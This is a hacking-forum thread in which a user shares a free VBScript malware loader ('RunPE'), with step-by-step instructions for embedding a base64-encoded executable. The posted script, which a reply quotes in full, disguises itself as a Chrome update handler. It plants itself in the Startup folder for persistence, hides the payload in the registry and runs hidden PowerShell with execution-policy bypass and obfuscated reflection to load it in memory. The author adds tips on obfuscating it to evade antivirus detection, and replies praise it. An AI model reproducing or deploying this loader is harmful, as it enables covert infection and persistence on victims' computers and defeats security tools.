

Forum:[Hack Forums](#)

Thread: [\[FREE\] VBS RunPE | Persistence & More!](#)

Melted - June 11, 2021, 7:32 am

Simple VBS RunPE - By Melted

Inspired by [VBS-Shell](#) from [NyanxCat](#)

Note: This is NOT fud runtime, but it can be fud scantime with some obfuscation

Usage:

- Copy the code below, and paste it into a new .vbs file
- Convert your executable to Base64 using [this website](#)
- Replace the 'BASE64 HERE' with your Base64 code (make sure you put it inside the quotes)
- (Optional) Edit "WScript.Sleep(1000)" with the amount of milliseconds you want it to sleep before executing

Script:

```
Code On Error Resume Next
```

```
For x = 0 To 6
```

```
    WScript.Sleep(1000)
```

```
Next
```

```
Base64 = "BASE64 HERE"
```

```
Set obj = CreateObject("Wscript.Shell")
```

```
Set fso=CreateObject("Scripting.FileSystemObject")
```

```
startPath = obj.SpecialFolders("Startup") & "\ChromeUpdateHandler.vbs"
```

```
currentPath = fso.GetAbsolutePathName(wscript.scriptfullname)
```

```
RegK = "HKCU\SOFTWARE\Chrome\Updates"
```

```
if obj.RegRead(RegK) <> Base64 then
```

```
obj.RegWrite RegK, Base64
```

```
end if
```

```
Load = "powershell -noexit -exec bypass -window 1 -Command Copy-Item "" & currentPath & "" "" &  
startPath & "" ; $x = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates);  
[<###>AppDomain<###>]::<###>('^urrentDomain'.replace('^','C'))<###>.<###>('DUFoad'.replace('DUF','L')  
)([Convert]::FromBase64String($x))<###>.<###>('@ntryPoint'.replace('@','E'))<###>.<###>('In0oke'.repl  
ace('0','v'))($Null,$Null)<###>;"
```

```
obj.Run Load, 0, False
```

VBS Obfuscation:

Check out [this github](#) for free vbs obfuscators

I suggest the base64 obfuscator, can get almost FUD results scantime

Jumpy22 - June 11, 2021, 7:34 am

(Jun 11, 2021 07:32 AM)Melted Wrote: [\[CITE\]](#) Simple VBS RunPE - By Melted

Inspired by [VBS-Shell](#) from [NyanxCat](#)

Note: This is NOT fud runtime, but it can be fud scantime with some obfuscation

Usage:

- Copy the code below, and paste it into a new .vbs file
- Convert your executable to Base64 using [this website](#)
- Replace the 'BASE64 HERE' with your Base64 code (make sure you put it inside the quotes)
- (Optional) Edit "WScript.Sleep(1000)" with the amount of milliseconds you want it to sleep before executing

Script:

Code On Error Resume Next

For x = 0 To 6

WScript.Sleep(1000)

Next

Base64 = "BASE64 HERE"

Set obj = CreateObject("Wscript.Shell")

Set fso=CreateObject("Scripting.FileSystemObject")

startPath = obj.SpecialFolders("Startup") & "\ChromeUpdateHandler.vbs"

currentPath = fso.GetAbsolutePathName(wscript.scriptfullname)

RegK = "HKCU\SOFTWARE\Chrome\Updates"

if obj.RegRead(RegK) <> Base64 then

obj.RegWrite RegK, Base64

end if

Load = "powershell -noexit -exec bypass -window 1 -Command Copy-Item "" & currentPath & "" "" & startPath & "" ; \$x = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates);
[<##>AppDomain<##>]::<##>('^urrentDomain'.replace('^','C'))<##>.<##>('DUFoad'.replace('DUF','L'))([Convert]::FromBase64String(\$x))<##>.<##>('@ntryPoint'.replace('@','E'))<##>.<##>('ln0oke'.replace('0','v'))(\$Null,\$Null)<##>;"

obj.Run Load, 0, False

VBS Obfuscation:

Check out [this github](#) for free vbs obfuscators

I suggest the base64 obfuscator, can get almost FUD results scantime

Damn works great thanks

nCuX0 - June 15, 2021, 1:23 am

thanks for the share, will take a look at this later

BishoLv - November 20, 2021, 11:30 pm

Keep Good Work Man, But i got no connect to The client